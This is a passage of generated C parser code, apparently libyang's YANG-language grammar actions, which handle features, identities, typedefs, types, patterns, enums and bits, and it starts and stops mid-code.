ARGUMENT_KEYWORD;\n }\n\n break;\n\n case 100:\n\n { actual_type = (yyvsp[-1].token); }\n\n break;\n\n case 103:\n\n { (yyval.uint) = (yyvsp[0].uint);\n backup_type = actual_type;\n actual_type = YIN_ELEMENT_KEYWORD;\n }\n\n break;\n\n case 105:\n\n { if (is_ext_instance) {\n int c;\n const char ***p;\n uint8_t *val;\n struct lyext_substmt *info;\n\n c = 0;\n p = lys_ext_complex_get_substmt(LY_STMT_ARGUMENT, ext_instance, &info);\n if (info->cardinality >= LY_STMT_CARD_SOME) {\n /* get the index in the array to add new item */\n for (c = 0; p[0][c + 1]; c++);\n val = (uint8_t *)p[1];\n } else {\n val = (uint8_t *)(p + 1);\n }\n val[c] = ((yyvsp[-1].uint) == LYS_YINELEM) ? 1 : 2;\n } else {\n ((struct lys_ext *)actual)->flags |= (yyvsp[-1].uint);\n }\n }\n\n break;\n\n case 106:\n\n { (yyval.uint) = LYS_YINELEM; }\n\n break;\n\n case 107:\n\n { (yyval.uint) = 0; }\n\n break;\n\n case 108:\n\n { if (!strcmp(s, \"true\")) {\n (yyval.uint) = LYS_YINELEM;\n } else if (!strcmp(s, \"false\")) {\n (yyval.uint) = 0;\n } else {\n LOGVAL(trg->ctx, LYE_INSTMT, LY_VLOG_NONE, NULL, s);\n free(s);\n YYABORT;\n }\n free(s);\n s = NULL;\n }\n\n break;\n\n case 109:\n\n { (yyval.i) = (yyvsp[0].i);\n backup_type = actual_type;\n actual_type = STATUS_KEYWORD;\n }\n\n break;\n\n case 110:\n\n { (yyval.i) = (yyvsp[-1].i); }\n\n break;\n\n case 111:\n\n { (yyval.i) = LYS_STATUS_CURR; }\n\n break;\n\n case 112:\n\n { (yyval.i) = LYS_STATUS_OBSLT; }\n\n break;\n\n case 113:\n\n { (yyval.i) = LYS_STATUS_DEPRC; }\n\n break;\n\n case 114:\n\n { if (!strcmp(s, \"current\")) {\n (yyval.i) = LYS_STATUS_CURR;\n } else if (!strcmp(s, \"obsolete\")) {\n (yyval.i) = LYS_STATUS_OBSLT;\n } else if (!strcmp(s, \"deprecated\")) {\n (yyval.i) = LYS_STATUS_DEPRC;\n } else {\n LOGVAL(trg->ctx,LYE_INSTMT, LY_VLOG_NONE, NULL, s);\n free(s);\n YYABORT;\n }\n free(s);\n s = NULL;\n }\n\n break;\n\n case 115:\n\n { /* check uniqueness of feature's names */\n if (lyp_check_identifier(trg->ctx, s, LY_IDENT_FEATURE, trg, NULL)) {\n free(s);\n YYABORT;\n }\n (yyval.backup_token).token = actual_type;\n (yyval.backup_token).actual = actual;\n YANG_ADDELEM(trg->features, trg->features_size, \"features\");\n ((struct lys_feature *)actual)->name = lydict_insert_zc(trg->ctx, s);\n ((struct lys_feature *)actual)->module = trg;\n s = NULL;\n actual_type = FEATURE_KEYWORD;\n }\n\n break;\n\n case 116:\n\n { actual = (yyvsp[-1].backup_token).actual;\n actual_type = (yyvsp[-1].backup_token).token;\n }\n\n break;\n\n case 118:\n\n { struct lys_iffeature *tmp;\n\n if (((struct lys_feature *)actual)->iffeature_size) {\n tmp = realloc(((struct lys_feature *)actual)->iffeature,\n ((struct lys_feature *)actual)->iffeature_size * sizeof *tmp);\n if (!tmp) {\n LOGMEM(trg->ctx);\n YYABORT;\n }\n ((struct lys_feature *)actual)->iffeature = tmp;\n }\n }\n\n break;\n\n case 121:\n\n { if (((struct lys_feature *)actual)->flags & LYS_STATUS_MASK) {\n LOGVAL(trg->ctx, LYE_TOOMANY, LY_VLOG_NONE, NULL, \"status\", \"feature\");\n YYABORT;\n }\n ((struct lys_feature *)actual)->flags |= (yyvsp[0].i);\n }\n\n break;\n\n case 122:\n\n { if (yang_read_description(trg, actual, s, \"feature\", NODE)) {\n YYABORT;\n }\n s = NULL;\n }\n\n break;\n\n case 123:\n\n { if (yang_read_reference(trg, actual, s, \"feature\", NODE)) {\n YYABORT;\n }\n s = NULL;\n }\n\n break;\n\n case 124:\n\n { (yyval.backup_token).token = actual_type;\n (yyval.backup_token).actual = actual;\n switch (actual_type) {\n case FEATURE_KEYWORD:\n YANG_ADDELEM(((struct lys_feature *)actual)->iffeature,\n ((struct lys_feature *)actual)->iffeature_size, \"if-features\");\n break;\n case IDENTITY_KEYWORD:\n if (trg->version < 2) {\n LOGVAL(trg->ctx, LYE_INSTMT, LY_VLOG_NONE, NULL, \"if-feature\", \"identity\");\n free(s);\n YYABORT;\n }\n YANG_ADDELEM(((struct lys_ident *)actual)->iffeature,\n ((struct lys_ident *)actual)->iffeature_size, \"if-features\");\n break;\n case ENUM_KEYWORD:\n if (trg->version < 2) {\n LOGVAL(trg->ctx, LYE_INSTMT, LY_VLOG_NONE, NULL, \"if-feature\");\n free(s);\n YYABORT;\n }\n YANG_ADDELEM(((struct lys_type_enum *)actual)->iffeature,\n ((struct lys_type_enum *)actual)->iffeature_size, \"if-features\");\n break;\n case BIT_KEYWORD:\n if (trg->version < 2) {\n LOGVAL(trg->ctx, LYE_INSTMT, LY_VLOG_NONE, NULL, \"if-feature\", \"bit\");\n free(s);\n YYABORT;\n }\n YANG_ADDELEM(((struct lys_type_bit *)actual)->iffeature,\n ((struct lys_type_bit *)actual)->iffeature_size, \"if-features\");\n break;\n case REFINE_KEYWORD:\n if (trg->version < 2) {\n LOGVAL(trg->ctx, LYE_INSTMT, LY_VLOG_NONE, NULL, \"if-feature\");\n free(s);\n YYABORT;\n }\n YANG_ADDELEM(((struct lys_refine *)actual)->iffeature,\n ((struct lys_refine *)actual)->iffeature_size, \"if-features\");\n break;\n case EXTENSION_INSTANCE:\n /* nothing change */\n break;\n default:\n /* lys_node_* */\n YANG_ADDELEM(((struct lys_node *)actual)->iffeature,\n ((struct lys_node *)actual)->iffeature_size, \"if-features\");\n break;\n }\n ((struct lys_iffeature *)actual)->features = (struct lys_feature **)s;\n s = NULL;\n actual_type = IF_FEATURE_KEYWORD;\n }\n\n break;\n\n case 125:\n\n { actual = (yyvsp[-1].backup_token).actual;\n actual_type = (yyvsp[-1].backup_token).token;\n }\n\n break;\n\n case 128:\n\n { const char *tmp;\n\n tmp = lydict_insert_zc(trg->ctx, s);\n s = NULL;\n if (dup_identities_check(tmp, trg)) {\n lydict_remove(trg->ctx, tmp);\n YYABORT;\n }\n (yyval.backup_token).token = actual_type;\n (yyval.backup_token).actual = actual;\n YANG_ADDELEM(trg->ident, trg->ident_size, \"identities\");\n ((struct lys_ident *)actual)->name = tmp;\n ((struct lys_ident *)actual)->module = trg;\n actual_type = IDENTITY_KEYWORD;\n }\n\n break;\n\n case 129:\n\n { actual = (yyvsp[-1].backup_token).actual;\n actual_type = (yyvsp[-1].backup_token).token;\n }\n\n break;\n\n case 131:\n\n { void *tmp;\n\n if (((struct lys_ident *)actual)->base_size) {\n tmp = realloc(((struct lys_ident *)actual)->base,\n ((struct lys_ident *)actual)->base_size * sizeof *((struct lys_ident *)actual)->base);\n if (!tmp) {\n LOGMEM(trg->ctx);\n YYABORT;\n }\n ((struct lys_ident *)actual)->base = tmp;\n }\n\n if (((struct lys_ident *)actual)->iffeature_size) {\n tmp = realloc(((struct lys_ident *)actual)->iffeature,\n ((struct lys_ident *)actual)->iffeature_size * sizeof *((struct lys_ident *)actual)->iffeature);\n if (!tmp) {\n LOGMEM(trg->ctx);\n YYABORT;\n }\n ((struct lys_ident *)actual)->iffeature = tmp;\n }\n }\n\n break;\n\n case 133:\n\n { void *identity;\n\n if ((trg->version < 2) && ((struct lys_ident *)actual)->base_size) {\n free(s);\n LOGVAL(trg->ctx, LYE_TOOMANY, LY_VLOG_NONE, NULL, \"base\", \"identity\");\n YYABORT;\n }\n identity = actual;\n YANG_ADDELEM(((struct lys_ident *)actual)->base,\n ((struct lys_ident *)actual)->base_size, \"bases\");\n *((struct lys_ident **)actual) = (struct lys_ident *)s;\n s = NULL;\n actual = identity;\n }\n\n break;\n\n case 135:\n\n { if (((struct lys_ident *)actual)->flags & LYS_STATUS_MASK) {\n LOGVAL(trg->ctx, LYE_TOOMANY, LY_VLOG_NONE, NULL, \"status\", \"identity\");\n YYABORT;\n }\n ((struct lys_ident *)actual)->flags |= (yyvsp[0].i);\n }\n\n break;\n\n case 136:\n\n { if (yang_read_description(trg, actual, s, \"identity\", NODE)) {\n YYABORT;\n }\n s = NULL;\n }\n\n break;\n\n case 137:\n\n { if (yang_read_reference(trg, actual, s, \"identity\", NODE)) {\n YYABORT;\n }\n s = NULL;\n }\n\n break;\n\n case 138:\n\n { backup_type = actual_type;\n actual_type = BASE_KEYWORD;\n }\n\n break;\n\n case 140:\n\n { tpdf_parent = (actual_type == EXTENSION_INSTANCE) ? ext_instance : actual;\n (yyval.backup_token).token = actual_type;\n (yyval.backup_token).actual = actual;\n if (lyp_check_identifier(trg->ctx, s, LY_IDENT_TYPE, trg, tpdf_parent)) {\n free(s);\n YYABORT;\n }\n switch (actual_type) {\n case MODULE_KEYWORD:\n case SUBMODULE_KEYWORD:\n YANG_ADDELEM(trg->tpdf, trg->tpdf_size, \"typedefs\");\n break;\n case GROUPING_KEYWORD:\n YANG_ADDELEM(((struct lys_node_grp *)tpdf_parent)->tpdf,\n ((struct lys_node_grp *)tpdf_parent)->tpdf_size, \"typedefs\");\n break;\n case CONTAINER_KEYWORD:\n YANG_ADDELEM(((struct lys_node_container *)tpdf_parent)->tpdf,\n ((struct lys_node_container *)tpdf_parent)->tpdf_size, \"typedefs\");\n break;\n case LIST_KEYWORD:\n YANG_ADDELEM(((struct lys_node_list *)tpdf_parent)->tpdf,\n ((struct lys_node_list *)tpdf_parent)->tpdf_size, \"typedefs\");\n break;\n case RPC_KEYWORD:\n case ACTION_KEYWORD:\n YANG_ADDELEM(((struct lys_node_rpc_action *)tpdf_parent)->tpdf,\n ((struct lys_node_rpc_action *)tpdf_parent)->tpdf_size, \"typedefs\");\n break;\n case INPUT_KEYWORD:\n case OUTPUT_KEYWORD:\n YANG_ADDELEM(((struct lys_node_inout *)tpdf_parent)->tpdf,\n ((struct lys_node_inout *)tpdf_parent)->tpdf_size, \"typedefs\");\n break;\n case NOTIFICATION_KEYWORD:\n YANG_ADDELEM(((struct lys_node_notif *)tpdf_parent)->tpdf,\n ((struct lys_node_notif *)tpdf_parent)->tpdf_size, \"typedefs\");\n break;\n case EXTENSION_INSTANCE:\n /* typedef is already allocated */\n break;\n default:\n /* another type of nodetype is error*/\n LOGINT(trg->ctx);\n free(s);\n YYABORT;\n }\n ((struct lys_tpdf *)actual)->name = lydict_insert_zc(param->module->ctx, s);\n ((struct lys_tpdf *)actual)->module = trg;\n s = NULL;\n actual_type = TYPEDEF_KEYWORD;\n }\n\n break;\n\n case 141:\n\n { if (!((yyvsp[-1].nodes).node.flag & LYS_TYPE_DEF)) {\n LOGVAL(trg->ctx, LYE_MISSCHILDSTMT, LY_VLOG_NONE, NULL, \"type\", \"typedef\");\n YYABORT;\n }\n actual_type = (yyvsp[-4].backup_token).token;\n actual = (yyvsp[-4].backup_token).actual;\n }\n\n break;\n\n case 142:\n\n { (yyval.nodes).node.ptr_tpdf = actual;\n (yyval.nodes).node.flag = 0;\n }\n\n break;\n\n case 143:\n\n { (yyvsp[-2].nodes).node.flag |= LYS_TYPE_DEF;\n (yyval.nodes) = (yyvsp[-2].nodes);\n }\n\n break;\n\n case 144:\n\n { if (yang_read_units(trg, (yyvsp[-1].nodes).node.ptr_tpdf, s, TYPEDEF_KEYWORD)) {\n YYABORT;\n }\n s = NULL;\n }\n\n break;\n\n case 145:\n\n { if (yang_read_default(trg, (yyvsp[-1].nodes).node.ptr_tpdf, s, TYPEDEF_KEYWORD)) {\n YYABORT;\n }\n s = NULL;\n }\n\n break;\n\n case 146:\n\n { if ((yyvsp[-1].nodes).node.ptr_tpdf->flags & LYS_STATUS_MASK) {\n LOGVAL(trg->ctx, LYE_TOOMANY, LY_VLOG_NONE, NULL, \"status\", \"typedef\");\n YYABORT;\n }\n (yyvsp[-1].nodes).node.ptr_tpdf->flags |= (yyvsp[0].i);\n }\n\n break;\n\n case 147:\n\n { if (yang_read_description(trg, (yyvsp[-1].nodes).node.ptr_tpdf, s, \"typedef\", NODE)) {\n YYABORT;\n }\n s = NULL;\n }\n\n break;\n\n case 148:\n\n { if (yang_read_reference(trg, (yyvsp[-1].nodes).node.ptr_tpdf, s, \"typedef\", NODE)) {\n YYABORT;\n }\n s = NULL;\n }\n\n break;\n\n case 149:\n\n { actual_type = (yyvsp[-1].backup_token).token;\n actual = (yyvsp[-1].backup_token).actual;\n }\n\n break;\n\n case 150:\n\n { (yyval.backup_token).token = actual_type;\n (yyval.backup_token).actual = actual;\n if (!(actual = yang_read_type(trg->ctx, actual, s, actual_type))) {\n YYABORT;\n }\n s = NULL;\n actual_type = TYPE_KEYWORD;\n }\n\n break;\n\n case 153:\n\n { if (((struct yang_type *)actual)->base == LY_TYPE_STRING &&\n ((struct yang_type *)actual)->type->info.str.pat_count) {\n void *tmp;\n\n tmp = realloc(((struct yang_type *)actual)->type->info.str.patterns,\n ((struct yang_type *)actual)->type->info.str.pat_count * sizeof *((struct yang_type *)actual)->type->info.str.patterns);\n if (!tmp) {\n LOGMEM(trg->ctx);\n YYABORT;\n }\n ((struct yang_type *)actual)->type->info.str.patterns = tmp;\n\n#ifdef LY_ENABLED_CACHE\n if (!(trg->ctx->models.flags & LY_CTX_TRUSTED) && ((struct yang_type *)actual)->type->info.str.patterns_pcre) {\n tmp = realloc(((struct yang_type *)actual)->type->info.str.patterns_pcre,\n 2 * ((struct yang_type *)actual)->type->info.str.pat_count * sizeof *((struct yang_type *)actual)->type->info.str.patterns_pcre);\n if (!tmp) {\n LOGMEM(trg->ctx);\n YYABORT;\n }\n ((struct yang_type *)actual)->type->info.str.patterns_pcre = tmp;\n }\n#endif\n }\n if (((struct yang_type *)actual)->base == LY_TYPE_UNION) {\n struct lys_type *tmp;\n\n tmp = realloc(((struct yang_type *)actual)->type->info.uni.types,\n ((struct yang_type *)actual)->type->info.uni.count * sizeof *tmp);\n if (!tmp) {\n LOGMEM(trg->ctx);\n YYABORT;\n }\n ((struct yang_type *)actual)->type->info.uni.types = tmp;\n }\n if (((struct yang_type *)actual)->base == LY_TYPE_IDENT) {\n struct lys_ident **tmp;\n\n tmp = realloc(((struct yang_type *)actual)->type->info.ident.ref,\n ((struct yang_type *)actual)->type->info.ident.count* sizeof *tmp);\n if (!tmp) {\n LOGMEM(trg->ctx);\n YYABORT;\n }\n ((struct yang_type *)actual)->type->info.ident.ref = tmp;\n }\n }\n\n break;\n\n case 157:\n\n { if (yang_read_require_instance(trg->ctx, actual, (yyvsp[0].i))) {\n YYABORT;\n }\n }\n\n break;\n\n case 158:\n\n { /* leafref_specification */\n if (yang_read_leafref_path(trg, actual, s)) {\n YYABORT;\n }\n s = NULL;\n }\n\n break;\n\n case 159:\n\n { /* identityref_specification */\n if (((struct yang_type *)actual)->base && ((struct yang_type *)actual)->base != LY_TYPE_IDENT) {\n LOGVAL(trg->ctx, LYE_INSTMT, LY_VLOG_NONE, NULL, \"base\");\n return EXIT_FAILURE;\n }\n ((struct yang_type *)actual)->base = LY_TYPE_IDENT;\n yang_type = actual;\n YANG_ADDELEM(((struct yang_type *)actual)->type->info.ident.ref,\n ((struct yang_type *)actual)->type->info.ident.count, \"identity refs\");\n *((struct lys_ident **)actual) = (struct lys_ident *)s;\n actual = yang_type;\n s = NULL;\n }\n\n break;\n\n case 162:\n\n { if (yang_read_fraction(trg->ctx, actual, (yyvsp[0].uint))) {\n YYABORT;\n }\n }\n\n break;\n\n case 165:\n\n { actual_type = (yyvsp[-1].backup_token).token;\n actual = (yyvsp[-1].backup_token).actual;\n }\n\n break;\n\n case 166:\n\n { struct yang_type *stype = (struct yang_type *)actual;\n\n (yyval.backup_token).token = actual_type;\n (yyval.backup_token).actual = actual;\n if (stype->base != 0 && stype->base != LY_TYPE_UNION) {\n LOGVAL(trg->ctx, LYE_SPEC, LY_VLOG_NONE, NULL, \"Unexpected type statement.\");\n YYABORT;\n }\n stype->base = LY_TYPE_UNION;\n if (strcmp(stype->name, \"union\")) {\n /* type can be a substatement only in \"union\" type, not in derived types */\n LOGVAL(trg->ctx, LYE_INCHILDSTMT, LY_VLOG_NONE, NULL, \"type\", \"derived type\");\n YYABORT;\n }\n YANG_ADDELEM(stype->type->info.uni.types, stype->type->info.uni.count, \"union types\")\n actual_type = UNION_KEYWORD;\n }\n\n break;\n\n case 167:\n\n { (yyval.uint) = (yyvsp[0].uint);\n backup_type = actual_type;\n actual_type = FRACTION_DIGITS_KEYWORD;\n }\n\n break;\n\n case 168:\n\n { (yyval.uint) = (yyvsp[-1].uint); }\n\n break;\n\n case 169:\n\n { (yyval.uint) = (yyvsp[-1].uint); }\n\n break;\n\n case 170:\n\n { char *endptr = NULL;\n unsigned long val;\n errno = 0;\n\n val = strtoul(s, &endptr, 10);\n if (*endptr || s[0] == '-' || errno || val == 0 || val > UINT32_MAX) {\n LOGVAL(trg->ctx, LYE_INARG, LY_VLOG_NONE, NULL, s, \"fraction-digits\");\n free(s);\n s = NULL;\n YYABORT;\n }\n (yyval.uint) = (uint32_t) val;\n free(s);\n s =NULL;\n }\n\n break;\n\n case 171:\n\n { actual = (yyvsp[-1].backup_token).actual;\n actual_type = (yyvsp[-1].backup_token).token;\n }\n\n break;\n\n case 172:\n\n { (yyval.backup_token).token = actual_type;\n (yyval.backup_token).actual = actual;\n if (!(actual = yang_read_length(trg->ctx, actual, s, is_ext_instance))) {\n YYABORT;\n }\n actual_type = LENGTH_KEYWORD;\n s = NULL;\n }\n\n break;\n\n case 175:\n\n { switch (actual_type) {\n case MUST_KEYWORD:\n (yyval.str) = \"must\";\n break;\n case LENGTH_KEYWORD:\n (yyval.str) = \"length\";\n break;\n case RANGE_KEYWORD:\n (yyval.str) = \"range\";\n break;\n default:\n LOGINT(trg->ctx);\n YYABORT;\n break;\n }\n }\n\n break;\n\n case 176:\n\n { if (yang_read_message(trg, actual, s, (yyvsp[-1].str), ERROR_MESSAGE_KEYWORD)) {\n YYABORT;\n }\n s = NULL;\n }\n\n break;\n\n case 177:\n\n { if (yang_read_message(trg, actual, s, (yyvsp[-1].str), ERROR_APP_TAG_KEYWORD)) {\n YYABORT;\n }\n s = NULL;\n }\n\n break;\n\n case 178:\n\n { if (yang_read_description(trg, actual, s, (yyvsp[-1].str), NODE)) {\n YYABORT;\n }\n s = NULL;\n }\n\n break;\n\n case 179:\n\n { if (yang_read_reference(trg, actual, s, (yyvsp[-1].str), NODE)) {\n YYABORT;\n }\n s = NULL;\n }\n\n break;\n\n case 180:\n\n { (yyval.backup_token).token = actual_type;\n (yyval.backup_token).actual = actual;\n }\n\n break;\n\n case 181:\n\n {struct lys_restr *pattern = actual;\n actual = NULL;\n#ifdef LY_ENABLED_CACHE\n if ((yyvsp[-2].backup_token).token != EXTENSION_INSTANCE &&\n !(data_node && data_node->nodetype != LYS_GROUPING && lys_ingrouping(data_node))) {\n unsigned int c = 2 * (((struct yang_type *)(yyvsp[-2].backup_token).actual)->type->info.str.pat_count - 1);\n YANG_ADDELEM(((struct yang_type *)(yyvsp[-2].backup_token).actual)->type->info.str.patterns_pcre, c, \"patterns\");\n }\n#endif\n if (yang_read_pattern(trg->ctx, pattern, actual, (yyvsp[-1].str), (yyvsp[0].ch))) {\n YYABORT;\n }\n actual_type = (yyvsp[-2].backup_token).token;\n actual = (yyvsp[-2].backup_token).actual;\n }\n\n break;\n\n case 182:\n\n { if (actual_type != EXTENSION_INSTANCE) {\n if (((struct yang_type *)actual)->base != 0 && ((struct yang_type *)actual)->base != LY_TYPE_STRING) {\n free(s);\n LOGVAL(trg->ctx, LYE_SPEC, LY_VLOG_NONE, NULL, \"Unexpected pattern statement.\");\n YYABORT;\n }\n ((struct yang_type *)actual)->base = LY_TYPE_STRING;\n YANG_ADDELEM(((struct yang_type *)actual)->type->info.str.patterns,\n ((struct yang_type *)actual)->type->info.str.pat_count, \"patterns\");\n }\n (yyval.str) = s;\n s = NULL;\n actual_type = PATTERN_KEYWORD;\n }\n\n break;\n\n case 183:\n\n { (yyval.ch) = 0x06; }\n\n break;\n\n case 184:\n\n { (yyval.ch) = (yyvsp[-1].ch); }\n\n break;\n\n case 185:\n\n { (yyval.ch) = 0x06; /* ACK */ }\n\n break;\n\n case 186:\n\n { if (trg->version < 2) {\n LOGVAL(trg->ctx, LYE_INSTMT, LY_VLOG_NONE, NULL, \"modifier\");\n YYABORT;\n }\n if ((yyvsp[-1].ch) != 0x06) {\n LOGVAL(trg->ctx, LYE_TOOMANY, LY_VLOG_NONE, NULL, \"modifier\", \"pattern\");\n YYABORT;\n }\n (yyval.ch) = (yyvsp[0].ch);\n }\n\n break;\n\n case 187:\n\n { if (yang_read_message(trg, actual, s, \"pattern\", ERROR_MESSAGE_KEYWORD)) {\n YYABORT;\n }\n s = NULL;\n }\n\n break;\n\n case 188:\n\n { if (yang_read_message(trg, actual, s, \"pattern\", ERROR_APP_TAG_KEYWORD)) {\n YYABORT;\n }\n s = NULL;\n }\n\n break;\n\n case 189:\n\n { if (yang_read_description(trg, actual, s, \"pattern\", NODE)) {\n YYABORT;\n }\n s = NULL;\n }\n\n break;\n\n case 190:\n\n { if (yang_read_reference(trg, actual, s, \"pattern\", NODE)) {\n YYABORT;\n }\n s = NULL;\n }\n\n break;\n\n case 191:\n\n { backup_type = actual_type;\n actual_type = MODIFIER_KEYWORD;\n }\n\n break;\n\n case 192:\n\n { if (!strcmp(s, \"invert-match\")) {\n (yyval.ch) = 0x15;\n free(s);\n s = NULL;\n } else {\n LOGVAL(trg->ctx, LYE_INSTMT, LY_VLOG_NONE, NULL, s);\n free(s);\n YYABORT;\n }\n }\n\n break;\n\n case 193:\n\n { struct lys_type_enum * tmp;\n\n cnt_val = 0;\n tmp = realloc(((struct yang_type *)actual)->type->info.enums.enm,\n ((struct yang_type *)actual)->type->info.enums.count * sizeof *tmp);\n if (!tmp) {\n LOGMEM(trg->ctx);\n YYABORT;\n }\n ((struct yang_type *)actual)->type->info.enums.enm = tmp;\n }\n\n break;\n\n case 196:\n\n { if (yang_check_enum(trg->ctx, yang_type, actual, &cnt_val, is_value)) {\n YYABORT;\n }\n actual = (yyvsp[-1].backup_token).actual;\n actual_type = (yyvsp[-1].backup_token).token;\n }\n\n break;\n\n case 197:\n\n { (yyval.backup_token).token = actual_type;\n (yyval.backup_token).actual = yang_type = actual;\n YANG_ADDELEM(((struct yang_type *)actual)->type->info.enums.enm, ((struct yang_type *)actual)->type->info.enums.count, \"enums\");\n if (yang_read_enum(trg->ctx, yang_type, actual, s)) {\n YYABORT;\n }\n s = NULL;\n is_value = 0;\n actual_type = ENUM_KEYWORD;\n }\n\n break;\n\n case 199:\n\n { if (((struct lys_type_enum *)actual)->iffeature_size) {\n struct lys_iffeature *tmp;\n\n tmp = realloc(((struct lys_type_enum *)actual)->iffeature,\n ((struct lys_type_enum *)actual)->iffeature_size * sizeof *tmp);\n if (!tmp) {\n LOGMEM(trg->ctx);\n YYABORT;\n }\n ((struct lys_type_enum *)actual)->iffeature = tmp;\n }\n }\n\n break;\n\n case 202:\n\n { if (is_value) {\n LOGVAL(trg->ctx, LYE_TOOMANY, LY_VLOG_NONE, NULL, \"value\", \"enum\");\n YYABORT;\n }\n ((struct lys_type_enum *)actual)->value = (yyvsp[0].i);\n\n /* keep the highest enum value for automatic increment */\n if ((yyvsp[0].i) >= cnt_val) {\n cnt_val = (yyvsp[0].i) + 1;\n }\n is_value = 1;\n }\n\n break;\n\n case 203:\n\n { if (((struct lys_type_enum *)actual)->flags & LYS_STATUS_MASK) {\n LOGVAL(trg->ctx, LYE_TOOMANY, LY_VLOG_NONE, NULL, \"status\", \"enum\");\n YYABORT;\n }\n ((struct lys_type_enum *)actual)->flags |= (yyvsp[0].i);\n }\n\n break;\n\n case 204:\n\n { if (yang_read_description(trg, actual, s, \"enum\", NODE)) {\n YYABORT;\n }\n s = NULL;\n }\n\n break;\n\n case 205:\n\n { if (yang_read_reference(trg, actual, s, \"enum\", NODE)) {\n YYABORT;\n }\n s = NULL;\n }\n\n break;\n\n case 206:\n\n { (yyval.i) = (yyvsp[0].i);\n backup_type = actual_type;\n actual_type = VALUE_KEYWORD;\n }\n\n break;\n\n case 207:\n\n { (yyval.i) = (yyvsp[-1].i); }\n\n break;\n\n case 208:\n\n { (yyval.i) = (yyvsp[-1].i); }\n\n break;\n\n case 209:\n\n { /* convert it to int32_t */\n int64_t val;\n char *endptr;\n\n val = strtoll(s, &endptr, 10);\n if (val < INT32_MIN || val > INT32_MAX || *endptr) {\n LOGVAL(trg->ctx, LYE_INARG, LY_VLOG_NONE, NULL, s, \"value\");\n free(s);\n YYABORT;\n }\n free(s);\n s = NULL;\n (yyval.i) = (int32_t) val;\n }\n\n break;\n\n case 210:\n\n { actual_type = (yyvsp[-1].backup_token).token;\n actual = (yyvsp[-1].backup_token).actual;\n }\n\n break;\n\n case 213:\n\n { backup_type = actual_type;\n actual_type = PATH_KEYWORD;\n }\n\n break;\n\n case 215:\n\n { (yyval.i) = (yyvsp[0].i);\n backup_type = actual_type;\n actual_type = REQUIRE_INSTANCE_KEYWORD;\n }\n\n break;\n\n case 216:\n\n { (yyval.i) = (yyvsp[-1].i); }\n\n break;\n\n case 217:\n\n { (yyval.i) = 1; }\n\n break;\n\n case 218:\n\n { (yyval.i) = -1; }\n\n break;\n\n case 219:\n\n { if (!strcmp(s,\"true\")) {\n (yyval.i) = 1;\n } else if (!strcmp(s,\"false\")) {\n (yyval.i) = -1;\n } else {\n LOGVAL(trg->ctx, LYE_INARG, LY_VLOG_NONE, NULL, s, \"require-instance\");\n free(s);\n YYABORT;\n }\n free(s);\n s = NULL;\n }\n\n break;\n\n case 220:\n\n { struct lys_type_bit * tmp;\n\n cnt_val = 0;\n tmp = realloc(((struct yang_type *)actual)->type->info.bits.bit,\n ((struct yang_type *)actual)->type->info.bits.count * sizeof *tmp);\n if (!tmp) {\n LOGMEM(trg->ctx);\n YYABORT;\n }\n ((struct yang_type *)actual)->type->info.bits.bit = tmp;\n }\n\n break;\n\n case 223:\n\n { if (yang_check_bit(trg->ctx, yang_type, actual, &cnt_val, is_value)) {\n YYABORT;\n }\n actual = (yyvsp[-2].backup_token).actual;\n actual_type = (yyvsp[-2].backup_token).token;\n }\n\n break;\n\n case 224:\n\n { (yyval.backup_token).token = actual_type;\n (yyval.backup_token).actual = yang_type = actual;\n YANG_ADDELEM(((struct yang_type *)actual)->type->info.bits.bit,\n ((struct yang_type *)actual)->type->info.bits.count, \"bits\");\n if (yang_read_bit(trg->ctx, yang_type, actual, s)) {\n YYABORT;\n }\n s = NULL;\n is_value = 0;\n actual_type = BIT_KEYWORD;\n }\n\n break;\n\n case 226:\n\n { if (((struct lys_type_bit *)actual)->iffeature_size) {\n struct lys_iffeature *tmp;\n\n tmp = realloc(((struct lys_type_bit *)actual)->iffeature,\n ((struct lys_type_bit *)actual)->iffeature_size * sizeof *tmp);\n if (!tmp) {\n LOGMEM(trg->ctx);\n YYABORT;\n }\n ((struct lys_type_bit *)actual)->iffeature = tmp;\n }\n }\n\n break;\n\n case 229:\n\n { if (is_value) {\n LOGVAL(trg->ctx, LYE_TOOMANY, LY_VLOG_NONE, NULL, \"position\", \"bit\");\n YYABORT;\n }\n ((struct lys_type_bit *)actual)->pos = (yyvsp[0].uint);\n\n /* keep the highest position value for automatic increment */\n if ((yyvsp[0].uint) >= cnt_val) {\n cnt_val = (yyvsp[0].uint) + 1;\n }\n is_value = 1;\n }\n\n break;\n\n case 230:\n\n { if (((struct lys_type_bit *)actual)->flags & LYS_STATUS_MASK) {\n LOGVAL(trg->ctx, LYE_TOOMANY, LY_VLOG_NONE, NULL, \"status\", \"bit\");\n YYABORT;\n }\n ((struct lys_type_bit *)actual)->flags |= (yyvsp[0].i);\n }\n\n break;\n\n case 231:\n\n { if (yang_read_description(trg, actual, s, \"bit\", NODE)) {\n YYABORT;\n }\n s = NULL;\n }\n\n break;\n\n case 232:\n\n { if (yang_read_reference(trg, actual, s, \"bit\", NODE)) {\n YYABORT;\n }\n s = NULL;\n }\n\n break;\n\n case 233:\n\n { (yyval.uint) = (yyvsp[0].uint);\n backup_type = actual_type;\n actual_type = POSITION_KEYWORD;\n }\n\n break;\n\n case 234:\n\n { (yyval.uint) = (yyvsp[-1].uint); }\n\n break;\n\n case 235:\n\n { (yyval.uint) = (yyvsp[-1].uint); }\n\n break;\n\n case 236:\n\n { /* convert it to uint32_t */\n unsigned long val;\n char *endptr = NULL;\n errno = 0;\n\n val = strtoul(s, &endptr, 10);\n if (s[0] == '-' || *endptr || errno || val > UINT32_MAX) {\n LOGVAL(trg->ctx, LYE_INARG, LY_VLOG_NONE, NULL, s, \"position\");\n free(s);\n YYABORT;\n }\n free(s);\n s = NULL;\n (yyval.uint) = (uint32_t) val;\n }\n\n break;\n\n case 237:\n\n { backup_type = actual_type;\n actual_type = ERROR_MESSAGE_KEYWORD;\n }\n\n break;\n\n case 239:\n\n { backup_type = actual_type;\n actual_type = ERROR_APP_TAG_KEYWORD;\n }\n\n break;\n\n case 241:\n\n { backup_type = actual_type;\n actual_type = UNITS_KEYWORD;\n }\n\n break;\n\n case 243:\n\n { backup_type = actual_type;\n actual_type = DEFAULT_KEYWORD;\n }\n\n break;\n\n case 245:\n\n { (yyval.backup_token).token = actual_type;\n (yyval.backup_token).actual = actual;\n if (!(actual = yang_read_node(trg, actual, param->node, s, LYS_GROUPING, sizeof(struct lys_node_grp)))) {\n YYABORT;\n }\n s = NULL;\n data_node = actual;\n actual_type = GROUPING_KEYWORD;\n }\n\n break;\n\n case 246:\n\n { LOGDBG(LY_LDGYANG, \"finished parsing grouping statement \\\"%s\\\"\", data_node->name);\n 